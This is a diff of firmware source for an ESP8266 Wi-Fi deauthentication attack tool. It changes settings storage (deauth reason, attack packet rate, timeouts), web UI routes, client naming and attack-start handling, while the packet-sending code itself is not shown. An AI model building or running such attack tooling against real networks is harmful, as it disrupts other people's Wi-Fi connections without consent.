int curChannel = 0;
|
||||
};
|
||||
|
||||
#endif
|
||||
#endif
|
||||
|
|
|
@ -12,7 +12,7 @@ bool MacList::contains(Mac adr) {
|
|||
}
|
||||
|
||||
int MacList::add(Mac adr) {
|
||||
if (num < len && adr.valid()) {
|
||||
if(num < len && adr.valid()) {
|
||||
if (!contains(adr)) {
|
||||
macAdrs[num].setMac(adr);
|
||||
num++;
|
||||
|
@ -60,4 +60,4 @@ void MacList::remove(Mac adr) {
|
|||
void MacList::set(int num, Mac adr) {
|
||||
macAdrs[num].setMac(adr);
|
||||
}
|
||||
|
||||
|
||||
|
|
|
@ -26,4 +26,4 @@ class MacList
|
|||
void addPacket(Mac adr);
|
||||
};
|
||||
|
||||
#endif
|
||||
#endif
|
||||
|
|
|
@ -91,4 +91,4 @@ void NameList::edit(int num, String name) {
|
|||
else names[num][i] = 0x00;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
|
|
@ -37,4 +37,4 @@ class NameList
|
|||
uint8_t names[listLength][nameLength];
|
||||
};
|
||||
|
||||
#endif
|
||||
#endif
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
|
||||
#define listAdr 2048
|
||||
#define lenAdr 2047
|
||||
#define SSIDListLength 64
|
||||
#define SSIDListLength 48
|
||||
#define SSIDLength 32
|
||||
|
||||
extern const bool debug;
|
||||
|
@ -33,4 +33,4 @@ class SSIDList
|
|||
char names[SSIDListLength][SSIDLength];
|
||||
};
|
||||
|
||||
#endif
|
||||
#endif
|
||||
|
|
|
@ -5,34 +5,43 @@ Settings::Settings() {
|
|||
}
|
||||
|
||||
void Settings::load() {
|
||||
|
||||
if(EEPROM.read(checkNumAdr) != checkNum){
|
||||
reset();
|
||||
return;
|
||||
}
|
||||
|
||||
ssidLen = EEPROM.read(ssidLenAdr);
|
||||
passwordLen = EEPROM.read(passwordLenAdr);
|
||||
|
||||
if (ssidLen < 1 || ssidLen > 32 || passwordLen < 8 && passwordLen != 0 || passwordLen > 32) reset();
|
||||
else {
|
||||
ssid = "";
|
||||
password = "";
|
||||
for (int i = 0; i < ssidLen; i++) ssid += (char)EEPROM.read(ssidAdr + i);
|
||||
for (int i = 0; i < passwordLen; i++) password += (char)EEPROM.read(passwordAdr + i);
|
||||
|
||||
ssidHidden = (bool)EEPROM.read(ssidHiddenAdr);
|
||||
|
||||
if ((int)EEPROM.read(apChannelAdr) >= 1 && (int)EEPROM.read(apChannelAdr) <= 14) {
|
||||
apChannel = (int)EEPROM.read(apChannelAdr);
|
||||
} else {
|
||||
apChannel = 1;
|
||||
}
|
||||
|
||||
apScanHidden = (bool)EEPROM.read(apScanHiddenAdr);
|
||||
|
||||
deauthReason = EEPROM.read(deauthReasonAdr);
|
||||
attackTimeout = eepromReadInt(attackTimeoutAdr);
|
||||
attackPacketRate = EEPROM.read(attackPacketRateAdr);
|
||||
clientScanTime = EEPROM.read(clientScanTimeAdr);
|
||||
attackEncrypted = (bool)EEPROM.read(attackEncryptedAdr);
|
||||
useLed = (bool)EEPROM.read(useLedAdr);
|
||||
channelHop = (bool)EEPROM.read(channelHopAdr);
|
||||
if (ssidLen < 1 || ssidLen > 32 || passwordLen < 8 && passwordLen != 0 || passwordLen > 32){
|
||||
reset();
|
||||
return;
|
||||
}
|
||||
|
||||
ssid = "";
|
||||
password = "";
|
||||
for (int i = 0; i < ssidLen; i++) ssid += (char)EEPROM.read(ssidAdr + i);
|
||||
for (int i = 0; i < passwordLen; i++) password += (char)EEPROM.read(passwordAdr + i);
|
||||
|
||||
ssidHidden = (bool)EEPROM.read(ssidHiddenAdr);
|
||||
|
||||
if ((int)EEPROM.read(apChannelAdr) >= 1 && (int)EEPROM.read(apChannelAdr) <= 14) {
|
||||
apChannel = (int)EEPROM.read(apChannelAdr);
|
||||
} else {
|
||||
apChannel = 1;
|
||||
}
|
||||
|
||||
apScanHidden = (bool)EEPROM.read(apScanHiddenAdr);
|
||||
|
||||
deauthReason = EEPROM.read(deauthReasonAdr);
|
||||
attackTimeout = eepromReadInt(attackTimeoutAdr);
|
||||
attackPacketRate = EEPROM.read(attackPacketRateAdr);
|
||||
clientScanTime = EEPROM.read(clientScanTimeAdr);
|
||||
attackEncrypted = (bool)EEPROM.read(attackEncryptedAdr);
|
||||
useLed = (bool)EEPROM.read(useLedAdr);
|
||||
channelHop = (bool)EEPROM.read(channelHopAdr);
|
||||
multiAPs = (bool)EEPROM.read(multiAPsAdr);
|
||||
}
|
||||
|
||||
void Settings::reset() {
|
||||
|
@ -53,8 +62,9 @@ void Settings::reset() {
|
|||
attackPacketRate = 10;
|
||||
clientScanTime = 15;
|
||||
attackEncrypted = false;
|
||||
useLed = false;
|
||||
useLed = true;
|
||||
channelHop = false;
|
||||
multiAPs = false;
|
||||
|
||||
if (debug) Serial.println("done");
|
||||
|
||||
|
@ -84,6 +94,8 @@ void Settings::save() {
|
|||
EEPROM.write(attackEncryptedAdr, attackEncrypted);
|
||||
EEPROM.write(useLedAdr, useLed);
|
||||
EEPROM.write(channelHopAdr, channelHop);
|
||||
EEPROM.write(multiAPsAdr, multiAPs);
|
||||
EEPROM.write(checkNumAdr, checkNum);
|
||||
EEPROM.commit();
|
||||
|
||||
if (debug) {
|
||||
|
@ -93,7 +105,7 @@ void Settings::save() {
|
|||
}
|
||||
|
||||
void Settings::info() {
|
||||
Serial.println("settings:");
|
||||
Serial.println("Settings:");
|
||||
Serial.println("SSID: " + ssid);
|
||||
Serial.println("SSID length: " + (String)ssidLen);
|
||||
Serial.println("SSID hidden: " + (String)ssidHidden);
|
||||
|
@ -108,13 +120,36 @@ void Settings::info() {
|
|||
Serial.println("attack SSID encrypted: " + (String)attackEncrypted);
|
||||
Serial.println("use built-in LED: " + (String)useLed);
|
||||
Serial.println("channel hopping: " + (String)channelHop);
|
||||
Serial.println("multiple APs: " + (String)multiAPs);
|
||||
}
|
||||
|
||||
size_t Settings::getSize(){
|
||||
String json = "{";
|
||||
size_t jsonSize = 0;
|
||||
|
||||
json += "\"ssid\":\"" + ssid + "\",";
|
||||
json += "\"ssidHidden\":" + (String)ssidHidden + ",";
|
||||
json += "\"password\":\"" + password + "\",";
|
||||
json += "\"apChannel\":" + (String)apChannel + ",";
|
||||
json += "\"apScanHidden\":" + (String)apScanHidden + ",";
|
||||
json += "\"deauthReason\":" + (String)(int)deauthReason + ",";
|
||||
json += "\"attackTimeout\":" + (String)attackTimeout + ",";
|
||||
json += "\"attackPacketRate\":" + (String)attackPacketRate + ",";
|
||||
json += "\"clientScanTime\":" + (String)clientScanTime + ",";
|
||||
json += "\"attackEncrypted\":" + (String)attackEncrypted + ",";
|
||||
json += "\"useLed\":" + (String)useLed + ",";
|
||||
json += "\"channelHop\":" + (String)channelHop + ",";
|
||||
json += "\"multiAPs\":" + (String)multiAPs + "}";
|
||||
jsonSize += json.length();
|
||||
|
||||
return jsonSize;
|
||||
}
|
||||
|
||||
void Settings::send() {
|
||||
if (debug) Serial.println("getting settings json");
|
||||
sendHeader(200, "text/json", getSize());
|
||||
|
||||
String json = "{";
|
||||
size_t jsonSize = 0;
|
||||
|
||||
json += "\"ssid\":\"" + ssid + "\",";
|
||||
json += "\"ssidHidden\":" + (String)ssidHidden + ",";
|
||||
json += "\"password\":\"" + password + "\",";
|
||||
|
@ -127,43 +162,10 @@ void Settings::send() {
|
|||
json += "\"attackEncrypted\":" + (String)attackEncrypted + ",";
|
||||
json += "\"useLed\":" + (String)useLed + ",";
|
||||
json += "\"channelHop\":" + (String)channelHop + ",";
|
||||
|
||||
json += "\"nameList\":[";
|
||||
|
||||
jsonSize += json.length();
|
||||
|
||||
for (int i = 0; i < nameList.len; i++) {
|
||||
json = "";
|
||||
json += "{";
|
||||
json += "\"n\":\"" + nameList.getName(i) + "\",";
|
||||
json += "\"m\":\"" + nameList.getMac(i).toString() + "\",";
|
||||
json += "\"v\":\"" + data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2)) + "\"";
|
||||
json += "}";
|
||||
if (i != nameList.len - 1) json += ",";
|
||||
jsonSize += json.length();
|
||||
}
|
||||
jsonSize += 2; //]}
|
||||
|
||||
sendHeader(200, "text/json", jsonSize);
|
||||
json += "\"multiAPs\":" + (String)multiAPs + "}";
|
||||
sendToBuffer(json);
|
||||
|
||||
for (int i = 0; i < nameList.len; i++) {
|
||||
json = "";
|
||||
json += "{";
|
||||
json += "\"n\":\"" + nameList.getName(i) + "\",";
|
||||
json += "\"m\":\"" + nameList.getMac(i).toString() + "\",";
|
||||
json += "\"v\":\"" + data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2)) + "\"";
|
||||
json += "}";
|
||||
if (i != nameList.len - 1) json += ",";
|
||||
sendToBuffer(json);
|
||||
}
|
||||
sendToBuffer("]}");
|
||||
|
||||
sendBuffer();
|
||||
|
||||
if (debug) {
|
||||
Serial.println(json);
|
||||
Serial.println("done");
|
||||
}
|
||||
if(debug) Serial.println("\ndone");
|
||||
|
||||
}
|
||||
}
|
||||
|
|
|
@ -32,6 +32,10 @@ extern NameList nameList;
|
|||
#define apChannelAdr 1098
|
||||
#define useLedAdr 1099
|
||||
#define channelHopAdr 1100
|
||||
#define multiAPsAdr 1101
|
||||
|
||||
#define checkNumAdr 1102
|
||||
#define checkNum 14
|
||||
|
||||
class Settings
|
||||
{
|
||||
|
@ -49,18 +53,18 @@ class Settings
|
|||
int passwordLen;
|
||||
String password = "";
|
||||
int apChannel;
|
||||
|
||||
bool apScanHidden;
|
||||
|
||||
uint8_t deauthReason;
|
||||
unsigned int attackTimeout;
|
||||
int attackPacketRate;
|
||||
|
||||
int clientScanTime;
|
||||
bool attackEncrypted;
|
||||
bool useLed;
|
||||
bool channelHop;
|
||||
bool multiAPs;
|
||||
|
||||
private:
|
||||
size_t getSize();
|
||||
};
|
||||
|
||||
#endif
|
||||
#endif
|
||||
|
|
|
@ -1,9 +1,7 @@
|
|||
/*
|
||||
===========================================
|
||||
Copyright 2017 Stefan Kremser
|
||||
|
||||
github.com/spacehuhn
|
||||
twitter.com/spacehuhn
|
||||
Copyright (c) 2017 Stefan Kremser
|
||||
github.com/spacehuhn
|
||||
===========================================
|
||||
*/
|
||||
|
||||
|
@ -12,45 +10,48 @@
|
|||
#include <ESP8266WiFi.h>
|
||||
#include <ESP8266WebServer.h>
|
||||
#include <ESP8266mDNS.h>
|
||||
#include <FS.h>
|
||||
|
||||
//#define USE_DISPLAY /* <-- uncomment that if you wanna use the display */
|
||||
#define resetPin 4 /* <-- comment out or change if you need GPIO 4 for other purposes */
|
||||
//#define USE_DISPLAY /* <-- uncomment that if you want to use the display */
|
||||
|
||||
#ifdef USE_DISPLAY
|
||||
|
||||
#include <Wire.h>
|
||||
|
||||
//include the library you need
|
||||
#include "SSD1306.h"
|
||||
//#include "SH1106.h"
|
||||
|
||||
//button pins
|
||||
#define upBtn D6
|
||||
#define downBtn D7
|
||||
#define selectBtn D5
|
||||
|
||||
#define buttonDelay 180 //delay in ms
|
||||
|
||||
//render settings
|
||||
#define fontSize 8
|
||||
#define rowsPerSite 8
|
||||
|
||||
//create display(Adr, SDA-pin, SCL-pin)
|
||||
SSD1306 display(0x3c, D2, D1);
|
||||
//SH1106 display(0x3c, D2, D1);
|
||||
|
||||
int rows = 3;
|
||||
int curRow = 0;
|
||||
int sites = 1;
|
||||
int curSite = 1;
|
||||
int lrow = 0;
|
||||
#include <Wire.h>
|
||||
|
||||
//include the library you need
|
||||
#include "SSD1306.h"
|
||||
//#include "SH1106.h"
|
||||
|
||||
//button pins
|
||||
#define upBtn D6
|
||||
#define downBtn D7
|
||||
#define selectBtn D5
|
||||
|
||||
#define buttonDelay 180 //delay in ms
|
||||
|
||||
//render settings
|
||||
#define fontSize 8
|
||||
#define rowsPerSite 8
|
||||
|
||||
//create display(Adr, SDA-pin, SCL-pin)
|
||||
SSD1306 display(0x3c, D2, D1);
|
||||
//SH1106 display(0x3c, D2, D1);
|
||||
|
||||
int rows = 3;
|
||||
int curRow = 0;
|
||||
int sites = 1;
|
||||
int curSite = 1;
|
||||
int lrow = 0;
|
||||
#endif
|
||||
|
||||
String wifiMode = "";
|
||||
String attackMode = "";
|
||||
String scanMode = "SCAN";
|
||||
|
||||
bool warning = true;
|
||||
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
#include "user_interface.h"
|
||||
}
|
||||
|
||||
ESP8266WebServer server(80);
|
||||
|
@ -81,12 +82,12 @@ void sniffer(uint8_t *buf, uint16_t len) {
|
|||
}
|
||||
|
||||
void startWifi() {
|
||||
Serial.println("starting WiFi AP");
|
||||
Serial.println("\nStarting WiFi AP:");
|
||||
WiFi.mode(WIFI_STA);
|
||||
wifi_set_promiscuous_rx_cb(sniffer);
|
||||
WiFi.softAP((const char*)settings.ssid.c_str(), (const char*)settings.password.c_str(), settings.apChannel, settings.ssidHidden); //for an open network without a password change to: WiFi.softAP(ssid);
|
||||
Serial.println("SSID: " + settings.ssid);
|
||||
Serial.println("Password: " + settings.password);
|
||||
Serial.println("SSID : '" + settings.ssid+"'");
|
||||
Serial.println("Password : '" + settings.password+"'");
|
||||
Serial.println("-----------------------------------------------");
|
||||
if (settings.password.length() < 8) Serial.println("WARNING: password must have at least 8 characters!");
|
||||
if (settings.ssid.length() < 1 || settings.ssid.length() > 32) Serial.println("WARNING: SSID length must be between 1 and 32 characters!");
|
||||
|
@ -102,44 +103,55 @@ void stopWifi() {
|
|||
}
|
||||
|
||||
void loadIndexHTML() {
|
||||
server.send ( 200, "text/html", data_getIndexHTML());
|
||||
if(warning){
|
||||
sendFile(200, "text/html", data_indexHTML, sizeof(data_indexHTML));
|
||||
}else{
|
||||
sendFile(200, "text/html", data_apscanHTML, sizeof(data_apscanHTML));
|
||||
}
|
||||
}
|
||||
void loadClientsHTML() {
|
||||
server.send ( 200, "text/html", data_getClientsHTML());
|
||||
void loadAPScanHTML() {
|
||||
warning = false;
|
||||
sendFile(200, "text/html", data_apscanHTML, sizeof(data_apscanHTML));
|
||||
}
|
||||
void loadStationsHTML() {
|
||||
sendFile(200, "text/html", data_stationHTML, sizeof(data_stationHTML));
|
||||
}
|
||||
void loadAttackHTML() {
|
||||
server.send ( 200, "text/html", data_getAttackHTML());
|
||||
sendFile(200, "text/html", data_attackHTML, sizeof(data_attackHTML));
|
||||
}
|
||||
void loadSettingsHTML() {
|
||||
server.send( 200, "text/html", data_getSettingsHTML());
|
||||
sendFile(200, "text/html", data_settingsHTML, sizeof(data_settingsHTML));
|
||||
}
|
||||
void load404() {
|
||||
server.send ( 404, "text/html", data_get404());
|
||||
sendFile(200, "text/html", data_error404, sizeof(data_error404));
|
||||
}
|
||||
void loadInfoHTML(){
|
||||
sendFile(200, "text/html", data_infoHTML, sizeof(data_infoHTML));
|
||||
}
|
||||
void loadLicense(){
|
||||
sendFile(200, "text/plain", data_license, sizeof(data_license));
|
||||
}
|
||||
|
||||
void loadFunctionsJS() {
|
||||
server.send( 200, "text/javascript", data_getFunctionsJS());
|
||||
sendFile(200, "text/javascript", data_functionsJS, sizeof(data_functionsJS));
|
||||
}
|
||||
void loadIndexJS() {
|
||||
server.send ( 200, "text/javascript", data_getIndexJS());
|
||||
void loadAPScanJS() {
|
||||
sendFile(200, "text/javascript", data_apscanJS, sizeof(data_apscanJS));
|
||||
}
|
||||
void loadClientsJS() {
|
||||
server.send ( 200, "text/javascript", data_getClientsJS());
|
||||
void loadStationsJS() {
|
||||
sendFile(200, "text/javascript", data_stationsJS, sizeof(data_stationsJS));
|
||||
}
|
||||
void loadAttackJS() {
|
||||
server.send ( 200, "text/javascript", data_getAttackJS());
|
||||
sendFile(200, "text/javascript", data_attackJS, sizeof(data_attackJS));
|
||||
}
|
||||
void loadSettingsJS() {
|
||||
server.send( 200, "text/html", data_getSettingsJS());
|
||||
sendFile(200, "text/javascript", data_settingsJS, sizeof(data_settingsJS));
|
||||
}
|
||||
|
||||
void loadStyle() {
|
||||
server.send ( 200, "text/css", data_getStyle());
|
||||
sendFile(200, "text/css;charset=UTF-8", data_styleCSS, sizeof(data_styleCSS));
|
||||
}
|
||||
|
||||
void loadManifest() {
|
||||
server.send ( 200, "text/css", data_getManifest());
|
||||
}
|
||||
|
||||
void startWiFi(bool start) {
|
||||
if (start) startWifi();
|
||||
|
@ -171,13 +183,6 @@ void startAPScan() {
|
|||
|
||||
void sendAPResults() {
|
||||
apScan.sendResults();
|
||||
/*
|
||||
if (server.hasArg("apid")) {
|
||||
int apid = server.arg("apid").toInt();
|
||||
server.send ( 200, "text/json", apScan.getResult(apid));
|
||||
} else {
|
||||
server.send ( 200, "text/json", apScan.getResults());
|
||||
}*/
|
||||
}
|
||||
|
||||
void selectAP() {
|
||||
|
@ -198,7 +203,7 @@ void startClientScan() {
|
|||
}
|
||||
|
||||
void sendClientResults() {
|
||||
server.send( 200, "text/json", clientScan.getResults() );
|
||||
clientScan.send();
|
||||
}
|
||||
void sendClientScanTime() {
|
||||
server.send( 200, "text/json", (String)settings.clientScanTime );
|
||||
|
@ -212,22 +217,76 @@ void selectClient() {
|
|||
}
|
||||
}
|
||||
|
||||
void addClientFromList(){
|
||||
if(server.hasArg("num")) {
|
||||
int _num = server.arg("num").toInt();
|
||||
clientScan.add(nameList.getMac(_num));
|
||||
|
||||
server.send( 200, "text/json", "true");
|
||||
}else server.send( 200, "text/json", "false");
|
||||
}
|
||||
|
||||
void setClientName() {
|
||||
if (server.hasArg("id") && server.hasArg("name")) {
|
||||
nameList.add(clientScan.getClientMac(server.arg("id").toInt()), server.arg("name"));
|
||||
if(server.arg("name").length()>0){
|
||||
nameList.add(clientScan.getClientMac(server.arg("id").toInt()), server.arg("name"));
|
||||
server.send( 200, "text/json", "true");
|
||||
}
|
||||
else server.send( 200, "text/json", "false");
|
||||
}
|
||||
}
|
||||
|
||||
void deleteName() {
|
||||
if (server.hasArg("num")) {
|
||||
int _num = server.arg("num").toInt();
|
||||
nameList.remove(_num);
|
||||
server.send( 200, "text/json", "true");
|
||||
}else server.send( 200, "text/json", "false");
|
||||
}
|
||||
|
||||
void clearNameList() {
|
||||
nameList.clear();
|
||||
server.send( 200, "text/json", "true" );
|
||||
}
|
||||
|
||||
void editClientName() {
|
||||
if (server.hasArg("id") && server.hasArg("name")) {
|
||||
nameList.edit(server.arg("id").toInt(), server.arg("name"));
|
||||
server.send( 200, "text/json", "true");
|
||||
}else server.send( 200, "text/json", "false");
|
||||
}
|
||||
|
||||
void addClient(){
|
||||
if(server.hasArg("mac") && server.hasArg("name")){
|
||||
String macStr = server.arg("mac");
|
||||
macStr.replace(":","");
|
||||
Serial.println("add "+macStr+" - "+server.arg("name"));
|
||||
if(macStr.length() < 12 || macStr.length() > 12) server.send( 200, "text/json", "false");
|
||||
else{
|
||||
Mac _newClient;
|
||||
for(int i=0;i<6;i++){
|
||||
const char* val = macStr.substring(i*2,i*2+2).c_str();
|
||||
uint8_t valByte = strtoul(val, NULL, 16);
|
||||
Serial.print(valByte,HEX);
|
||||
Serial.print(":");
|
||||
_newClient.setAt(valByte,i);
|
||||
}
|
||||
Serial.println();
|
||||
nameList.add(_newClient,server.arg("name"));
|
||||
server.send( 200, "text/json", "true");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//==========Attack==========
|
||||
void sendAttackInfo() {
|
||||
server.send( 200, "text/json", attack.getResults());
|
||||
attack.sendResults();
|
||||
}
|
||||
|
||||
void startAttack() {
|
||||
if (server.hasArg("num")) {
|
||||
int _attackNum = server.arg("num").toInt();
|
||||
if (apScan.getFirstTarget() > -1 || _attackNum == 2 || _attackNum == 3) {
|
||||
if (apScan.getFirstTarget() > -1 || _attackNum == 1 || _attackNum == 2) {
|
||||
attack.start(server.arg("num").toInt());
|
||||
server.send ( 200, "text/json", "true");
|
||||
} else server.send( 200, "text/json", "false");
|
||||
|
@ -312,6 +371,10 @@ void saveSettings() {
|
|||
if (server.arg("channelHop") == "false") settings.channelHop = false;
|
||||
else settings.channelHop = true;
|
||||
}
|
||||
if (server.hasArg("multiAPs")) {
|
||||
if (server.arg("multiAPs") == "false") settings.multiAPs = false;
|
||||
else settings.multiAPs = true;
|
||||
}
|
||||
|
||||
settings.save();
|
||||
server.send( 200, "text/json", "true" );
|
||||
|
@ -322,109 +385,6 @@ void resetSettings() {
|
|||
server.send( 200, "text/json", "true" );
|
||||
}
|
||||
|
||||
void deleteName() {
|
||||
if (server.hasArg("num")) {
|
||||
int _num = server.arg("num").toInt();
|
||||
nameList.remove(_num);
|
||||
server.send( 200, "text/json", "true");
|
||||
}
|
||||
}
|
||||
|
||||
void clearNameList() {
|
||||
nameList.clear();
|
||||
server.send( 200, "text/json", "true" );
|
||||
}
|
||||
|
||||
void editClientName() {
|
||||
if (server.hasArg("id") && server.hasArg("name")) {
|
||||
nameList.edit(server.arg("id").toInt(), server.arg("name"));
|
||||
server.send( 200, "text/json", "true");
|
||||
}
|
||||
}
|
||||
|
||||
void setup() {
|
||||
|
||||
Serial.begin(115200);
|
||||
delay(2000);
|
||||
|
||||
#ifdef USE_DISPLAY
|
||||
display.init();
|
||||
display.setFont(Roboto_Mono_8);
|
||||
display.flipScreenVertically();
|
||||
drawInterface();
|
||||
pinMode(upBtn, INPUT_PULLUP);
|
||||
pinMode(downBtn, INPUT_PULLUP);
|
||||
pinMode(selectBtn, INPUT_PULLUP);
|
||||
#endif
|
||||
|
||||
attackMode = "START";
|
||||
pinMode(2, OUTPUT);
|
||||
delay(50);
|
||||
digitalWrite(2, HIGH);
|
||||
|
||||
EEPROM.begin(4096);
|
||||
|
||||
settings.load();
|
||||
if (debug) settings.info();
|
||||
nameList.load();
|
||||
ssidList.load();
|
||||
|
||||
Serial.println("");
|
||||
Serial.println("starting...");
|
||||
|
||||
startWifi();
|
||||
attack.stopAll();
|
||||
attack.generate();
|
||||
|
||||
/* ========== Web Server ========== */
|
||||
|
||||
/* HTML sites */
|
||||
server.onNotFound(load404);
|
||||
|
||||
server.on("/", loadIndexHTML);
|
||||
server.on("/clients", loadClientsHTML);
|
||||
server.on("/attack", loadAttackHTML);
|
||||
server.on("/settings", loadSettingsHTML);
|
||||
|
||||
server.on("/js/index.js", loadIndexJS);
|
||||
server.on("/js/clients.js", loadClientsJS);
|
||||
server.on("/js/attack.js", loadAttackJS);
|
||||
server.on("/js/settings.js", loadSettingsJS);
|
||||
server.on("/js/functions.js", loadFunctionsJS);
|
||||
|
||||
/* header links */
|
||||
server.on ("/style.css", loadStyle);
|
||||
server.on ("/manifest.json", loadManifest);
|
||||
|
||||
/* JSON */
|
||||
server.on("/APScanResults.json", sendAPResults);
|
||||
server.on("/APScan.json", startAPScan);
|
||||
server.on("/APSelect.json", selectAP);
|
||||
server.on("/ClientScan.json", startClientScan);
|
||||
server.on("/ClientScanResults.json", sendClientResults);
|
||||
server.on("/ClientScanTime.json", sendClientScanTime);
|
||||
server.on("/clientSelect.json", selectClient);
|
||||
server.on("/setName.json", setClientName);
|
||||
server.on("/attackInfo.json", sendAttackInfo);
|
||||
server.on("/attackStart.json", startAttack);
|
||||
server.on("/settings.json", getSettings);
|
||||
server.on("/settingsSave.json", saveSettings);
|
||||
server.on("/settingsReset.json", resetSettings);
|
||||
server.on("/deleteName.json", deleteName);
|
||||
server.on("/clearNameList.json", clearNameList);
|
||||
server.on("/editNameList.json", editClientName);
|
||||
server.on("/addSSID.json", addSSID);
|
||||
server.on("/cloneSSID.json", cloneSSID);
|
||||
server.on("/deleteSSID.json", deleteSSID);
|
||||
server.on("/randomSSID.json", randomSSID);
|
||||
server.on("/clearSSID.json", clearSSID);
|
||||
server.on("/resetSSID.json", resetSSID);
|
||||
server.on("/saveSSID.json", saveSSID);
|
||||
server.on("/restartESP.json", restartESP);
|
||||
|
||||
server.begin();
|
||||
}
|
||||
|
||||
#ifdef USE_DISPLAY
|
||||
void drawInterface() {
|
||||
display.clear();
|
||||
|
@ -449,6 +409,100 @@ void drawInterface() {
|
|||
}
|
||||
#endif
|
||||
|
||||
void setup() {
|
||||
|
||||
Serial.begin(115200);
|
||||
if(debug){
|
||||
delay(2000);
|
||||
Serial.println("\nStarting...\n");
|
||||
}
|
||||
|
||||
#ifdef USE_DISPLAY
|
||||
display.init();
|
||||
display.setFont(Roboto_Mono_8);
|
||||
display.flipScreenVertically();
|
||||
drawInterface();
|
||||
pinMode(upBtn, INPUT_PULLUP);
|
||||
pinMode(downBtn, INPUT_PULLUP);
|
||||
pinMode(selectBtn, INPUT_PULLUP);
|
||||
#endif
|
||||
|
||||
attackMode = "START";
|
||||
pinMode(2, OUTPUT);
|
||||
digitalWrite(2, HIGH);
|
||||
|
||||
EEPROM.begin(4096);
|
||||
SPIFFS.begin();
|
||||
|
||||
settings.load();
|
||||
if (debug) settings.info();
|
||||
nameList.load();
|
||||
ssidList.load();
|
||||
|
||||
#ifdef resetPin
|
||||
pinMode(resetPin, INPUT_PULLUP);
|
||||
if(digitalRead(resetPin) == LOW) settings.reset();
|
||||
#endif
|
||||
|
||||
startWifi();
|
||||
attack.stopAll();
|
||||
attack.generate();
|
||||
|
||||
/* ========== Web Server ========== */
|
||||
|
||||
/* HTML */
|
||||
server.onNotFound(load404);
|
||||
|
||||
server.on("/", loadIndexHTML);
|
||||
server.on("/index.html", loadIndexHTML);
|
||||
server.on("/apscan.html", loadAPScanHTML);
|
||||
server.on("/stations.html", loadStationsHTML);
|
||||
server.on("/attack.html", loadAttackHTML);
|
||||
server.on("/settings.html", loadSettingsHTML);
|
||||
server.on("/info.html", loadInfoHTML);
|
||||
server.on("/license", loadLicense);
|
||||
|
||||
/* JS */
|
||||
server.on("/js/apscan.js", loadAPScanJS);
|
||||
server.on("/js/stations.js", loadStationsJS);
|
||||
server.on("/js/attack.js", loadAttackJS);
|
||||
server.on("/js/settings.js", loadSettingsJS);
|
||||
server.on("/js/functions.js", loadFunctionsJS);
|
||||
|
||||
/* CSS */
|
||||
server.on ("/style.css", loadStyle);
|
||||
|
||||
/* JSON */
|
||||
server.on("/APScanResults.json", sendAPResults);
|
||||
server.on("/APScan.json", startAPScan);
|
||||
server.on("/APSelect.json", selectAP);
|
||||
server.on("/ClientScan.json", startClientScan);
|
||||
server.on("/ClientScanResults.json", sendClientResults);
|
||||
server.on("/ClientScanTime.json", sendClientScanTime);
|
||||
server.on("/clientSelect.json", selectClient);
|
||||
server.on("/setName.json", setClientName);
|
||||
server.on("/addClientFromList.json", addClientFromList);
|
||||
server.on("/attackInfo.json", sendAttackInfo);
|
||||
server.on("/attackStart.json", startAttack);
|
||||
server.on("/settings.json", getSettings);
|
||||
server.on("/settingsSave.json", saveSettings);
|
||||
server.on("/settingsReset.json", resetSettings);
|
||||
server.on("/deleteName.json", deleteName);
|
||||
server.on("/clearNameList.json", clearNameList);
|
||||
server.on("/editNameList.json", editClientName);
|
||||
server.on("/addSSID.json", addSSID);
|
||||
server.on("/cloneSSID.json", cloneSSID);
|
||||
server.on("/deleteSSID.json", deleteSSID);
|
||||
server.on("/randomSSID.json", randomSSID);
|
||||
server.on("/clearSSID.json", clearSSID);
|
||||
server.on("/resetSSID.json", resetSSID);
|
||||
server.on("/saveSSID.json", saveSSID);
|
||||
server.on("/restartESP.json", restartESP);
|
||||
server.on("/addClient.json",addClient);
|
||||
|
||||
server.begin();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
if (clientScan.sniffing) {
|
||||
if (clientScan.stop()) startWifi();
|
||||
|
@ -457,7 +511,16 @@ void loop() {
|
|||
attack.run();
|
||||
}
|
||||
|
||||
if(Serial.available()){
|
||||
String input = Serial.readString();
|
||||
if(input == "reset" || input == "reset\n" || input == "reset\r" || input == "reset\r\n"){
|
||||
settings.reset();
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef USE_DISPLAY
|
||||
|
||||
|
||||
//go up
|
||||
if (digitalRead(upBtn) == LOW && curRow > 0) {
|
||||
curRow--;
|
||||
|
@ -466,7 +529,8 @@ void loop() {
|
|||
curSite--;
|
||||
} else lrow--;
|
||||
delay(buttonDelay);
|
||||
//go down
|
||||
|
||||
// ===== go down =====
|
||||
} else if (digitalRead(downBtn) == LOW && curRow < rows - 1) {
|
||||
curRow++;
|
||||
if (lrow + 1 >= rowsPerSite) {
|
||||
|
@ -474,28 +538,27 @@ void loop() {
|
|||
curSite++;
|
||||
} else lrow++;
|
||||
delay(buttonDelay);
|
||||
//select
|
||||
|
||||
// ===== select =====
|
||||
} else if (digitalRead(selectBtn) == LOW) {
|
||||
//WiFi on/off
|
||||
if (curRow == 0) {
|
||||
if (wifiMode == "ON") stopWifi();
|
||||
else startWifi();
|
||||
//scan for APs
|
||||
|
||||
// ===== scan for APs =====
|
||||
} else if (curRow == 1) {
|
||||
scanMode = "scanning...";
|
||||
startAPScan();
|
||||
drawInterface();
|
||||
rows = 3;
|
||||
apScan.start();
|
||||
rows += apScan.results;
|
||||
sites = rows / rowsPerSite;
|
||||
if (rows % rowsPerSite > 0) sites++;
|
||||
scanMode = "SCAN";
|
||||
apScan.sort();
|
||||
//start,stop attack
|
||||
|
||||
// ===== start,stop attack =====
|
||||
} else if (curRow == 2) {
|
||||
if (attackMode == "START" && apScan.getFirstTarget() > -1) attack.start(0);
|
||||
else if (attackMode == "STOP") attack.stop(0);
|
||||
} else if (curRow >= 3) {
|
||||
}
|
||||
|
||||
// ===== select APs =====
|
||||
else if (curRow >= 3) {
|
||||
attack.stop(0);
|
||||
apScan.select(curRow - 3);
|
||||
}
|
||||
|
@ -504,4 +567,4 @@ void loop() {
|
|||
drawInterface();
|
||||
#endif
|
||||
|
||||
}
|
||||
}
|
||||
|
|
Before Width: | Height: | Size: 153 KiB After Width: | Height: | Size: 340 KiB |
